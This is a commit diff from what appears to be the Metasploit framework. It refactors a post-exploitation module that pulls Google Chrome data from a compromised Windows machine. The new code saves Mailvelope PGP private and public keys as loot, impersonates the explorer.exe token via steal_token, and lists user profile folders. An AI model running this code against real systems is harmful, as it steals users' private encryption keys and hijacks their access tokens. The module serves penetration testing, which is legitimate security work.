Simplify and clean up some
I'd really love to make this work on Linux as well, since it's really just a file grabber/parser. Unfortunately, the Post API for enumerating users and homedirs isn't great for cross-platform stuff like this. A few small changes, all verified on Windows 7: * Reuse the key storing code instead of copy-paste with minor changes * Use binary mode when opening the stored prefs * Don't bother checking for incognito since we're using `steal_token` anyway * Check for existence of directories instead of guessing based on OS matchunstable
parent
84ff72eb92
commit
55fc1458de
|
@ -44,6 +44,22 @@ class Metasploit3 < Msf::Post
|
||||||
return data.gsub("\x00","").tr("[]","").gsub("\\r","").gsub("\"","").gsub("\\n","\n")
|
return data.gsub("\x00","").tr("[]","").gsub("\\r","").gsub("\"","").gsub("\\n","\n")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def extension_mailvelope_store_key(name, value)
|
||||||
|
return unless name =~ /(private|public)keys/i
|
||||||
|
|
||||||
|
priv_or_pub = $1
|
||||||
|
|
||||||
|
keys = value.split(",")
|
||||||
|
print_good("==> Found #{keys.size} #{priv_or_pub} key(s)!")
|
||||||
|
keys.each do |key|
|
||||||
|
key_data = extension_mailvelope_parse_key(key)
|
||||||
|
vprint_good(key_data)
|
||||||
|
path = store_loot(
|
||||||
|
"chrome.mailvelope.#{priv_or_pub}", "text/plain", session, key_data, "#{priv_or_pub}.key", "Mailvelope PGP #{priv_or_pub.capitalize} Key")
|
||||||
|
print_status("==> Saving #{priv_or_pub} key to: #{path}")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def extension_mailvelope(username, extname)
|
def extension_mailvelope(username, extname)
|
||||||
chrome_path = @profiles_path + "\\" + username + @data_path
|
chrome_path = @profiles_path + "\\" + username + @data_path
|
||||||
maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage"
|
maildb_path = chrome_path + "/Local Storage/chrome-extension_#{extname}_0.localstorage"
|
||||||
|
@ -60,35 +76,15 @@ class Metasploit3 < Msf::Post
|
||||||
columns, *rows = maildb.execute2("select * from ItemTable;")
|
columns, *rows = maildb.execute2("select * from ItemTable;")
|
||||||
maildb.close
|
maildb.close
|
||||||
|
|
||||||
rows.each do |row|
|
rows.each do |name, value|
|
||||||
res = Hash[*columns.zip(row).flatten]
|
extension_mailvelope_store_key(name, value)
|
||||||
if res["key"] =~ /privatekeys/i
|
|
||||||
keys = res["value"].split(",")
|
|
||||||
print_good("==> Found #{keys.size} private key(s)!")
|
|
||||||
keys.each do |key|
|
|
||||||
privkey = extension_mailvelope_parse_key(key)
|
|
||||||
vprint_good(privkey)
|
|
||||||
path = store_loot("chrome.mailvelope.privkey", "text/plain", session, privkey, "privkey.key", "Mailvelope PGP Private Key")
|
|
||||||
print_status("==> Saving private key to: #{path}")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
if res["key"] =~ /publickeys/i
|
|
||||||
keys = res["value"].split(",")
|
|
||||||
print_good("==> Found #{keys.size} public key(s)!")
|
|
||||||
keys.each do |key|
|
|
||||||
pubkey = extension_mailvelope_parse_key(key)
|
|
||||||
vprint_good(pubkey)
|
|
||||||
path = store_loot("chrome.mailvelope.pubkey", "text/plain", session, pubkey, "pubkey.key", "Mailvelope PGP Public Key")
|
|
||||||
print_status("==> Saving public key to: #{path}")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def parse_prefs(username, filepath)
|
def parse_prefs(username, filepath)
|
||||||
f = File.open(filepath, 'r')
|
f = File.open(filepath, 'rb')
|
||||||
until f.eof
|
until f.eof
|
||||||
prefs = f.read
|
prefs = f.read
|
||||||
end
|
end
|
||||||
|
@ -221,17 +217,12 @@ class Metasploit3 < Msf::Post
|
||||||
current_pid = session.sys.process.open.pid
|
current_pid = session.sys.process.open.pid
|
||||||
target_pid = session.sys.process["explorer.exe"]
|
target_pid = session.sys.process["explorer.exe"]
|
||||||
return if target_pid == current_pid
|
return if target_pid == current_pid
|
||||||
|
if target_pid.to_s.empty?
|
||||||
if not session.incognito
|
print_warning("No explorer.exe process to impersonate.")
|
||||||
session.core.use("incognito")
|
return
|
||||||
|
|
||||||
if not session.incognito
|
|
||||||
print_error("Unable to load incognito")
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Impersonating token: #{target_pid.to_s}")
|
print_status("Impersonating token: #{target_pid}")
|
||||||
begin
|
begin
|
||||||
session.sys.config.steal_token(target_pid)
|
session.sys.config.steal_token(target_pid)
|
||||||
return true
|
return true
|
||||||
|
@ -286,7 +277,6 @@ class Metasploit3 < Msf::Post
|
||||||
]
|
]
|
||||||
|
|
||||||
@old_pid = nil
|
@old_pid = nil
|
||||||
@host_info = session.sys.config.sysinfo
|
|
||||||
migrate_success = false
|
migrate_success = false
|
||||||
|
|
||||||
# If we can impersonate a token, we use that first.
|
# If we can impersonate a token, we use that first.
|
||||||
|
@ -299,37 +289,39 @@ class Metasploit3 < Msf::Post
|
||||||
host = session.session_host
|
host = session.session_host
|
||||||
|
|
||||||
#Get Google Chrome user data path
|
#Get Google Chrome user data path
|
||||||
sysdrive = session.fs.file.expand_path("%SYSTEMDRIVE%")
|
sysdrive = expand_path("%SYSTEMDRIVE%").strip
|
||||||
os = @host_info['OS']
|
if directory?("#{sysdrive}\\Users")
|
||||||
if os =~ /(Windows 7|2008|Vista)/
|
@profiles_path = "#{sysdrive}/Users"
|
||||||
@profiles_path = sysdrive + "\\Users\\"
|
|
||||||
@data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
|
@data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
|
||||||
elsif os =~ /(2000|NET|XP)/
|
elsif directory?("#{sysdrive}\\Documents and Settings")
|
||||||
@profiles_path = sysdrive + "\\Documents and Settings\\"
|
@profiles_path = "#{sysdrive}/Documents and Settings"
|
||||||
@data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
|
@data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
|
||||||
end
|
end
|
||||||
|
|
||||||
#Get user(s)
|
#Get user(s)
|
||||||
usernames = []
|
usernames = []
|
||||||
uid = session.sys.config.getuid
|
|
||||||
if is_system?
|
if is_system?
|
||||||
print_status("Running as SYSTEM, extracting user list...")
|
print_status("Running as SYSTEM, extracting user list...")
|
||||||
print_error("(Automatic decryption will not be possible. You might want to manually migrate, or set \"MIGRATE=true\")")
|
print_warning("(Automatic decryption will not be possible. You might want to manually migrate, or set \"MIGRATE=true\")")
|
||||||
session.fs.dir.foreach(@profiles_path) do |u|
|
session.fs.dir.foreach(@profiles_path) do |u|
|
||||||
usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
|
not_actually_users = [
|
||||||
|
".", "..", "All Users", "Default", "Default User", "Public", "desktop.ini",
|
||||||
|
"LocalService", "NetworkService"
|
||||||
|
]
|
||||||
|
usernames << u unless not_actually_users.include?(u)
|
||||||
end
|
end
|
||||||
print_status "Users found: #{usernames.join(", ")}"
|
print_status "Users found: #{usernames.join(", ")}"
|
||||||
else
|
else
|
||||||
|
uid = session.sys.config.getuid
|
||||||
print_status "Running as user '#{uid}'..."
|
print_status "Running as user '#{uid}'..."
|
||||||
usernames << session.fs.file.expand_path("%USERNAME%")
|
usernames << expand_path("%USERNAME%").strip
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
has_sqlite3 = true
|
has_sqlite3 = true
|
||||||
begin
|
begin
|
||||||
require 'sqlite3'
|
require 'sqlite3'
|
||||||
rescue LoadError
|
rescue LoadError
|
||||||
print_error("SQLite3 is not available, and we are not able to parse the database.")
|
print_warning("SQLite3 is not available, and we are not able to parse the database.")
|
||||||
has_sqlite3 = false
|
has_sqlite3 = false
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue